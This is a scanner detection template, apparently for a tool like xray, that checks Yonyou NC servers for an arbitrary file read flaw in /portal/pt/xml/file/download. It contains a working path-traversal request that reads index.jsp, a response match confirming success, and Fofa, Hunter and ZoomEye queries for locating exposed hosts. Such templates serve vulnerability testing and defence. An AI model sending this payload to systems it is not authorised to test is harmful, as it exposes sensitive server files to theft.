id: yonyou-nc-download-fileread

info:
  name: 用友NC download文件存在任意文件读取漏洞
  author: Y3y1ng
  severity: high
  verified: true
  description: |-
    用友NC的download文件存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上的敏感文件。
    Fofa: app="用友-UFIDA-NC"
    Hunter: web.title="YONYOU NC"
    ZoomEye: app:"Yonyou NC httpd"
  reference:
    - https://mp.weixin.qq.com/s/oVRiOXEG9cxEtyE8q0UKZQ
  tags: yonyou,fileread
  created: 2023/12/04
rules:
  r0:
    request:
      method: GET
      path: /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"response.addHeader") &&
      response.body.bcontains(b"request.getSession")
expression: r0()+